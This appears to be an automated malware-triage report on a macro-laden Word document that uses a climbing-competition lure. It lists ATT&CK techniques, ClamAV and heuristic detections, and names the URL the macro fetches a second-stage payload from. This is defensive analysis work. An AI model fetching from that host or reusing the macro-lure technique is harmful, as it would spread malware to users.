MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a Microsoft Word document containing a VBA macro that executes upon opening, as indicated by the Document_Open heuristic. The macro attempts to download and execute a second-stage payload from the URL http://www.tourdebloc.com. The document body uses a climbing competition as a lure to encourage macro execution. The ClamAV detection 'Doc.Trojan.Thus-16' further supports its malicious nature.

Heuristics 4

  • ClamAV: Doc.Trojan.Thus-16 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Thus-16
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
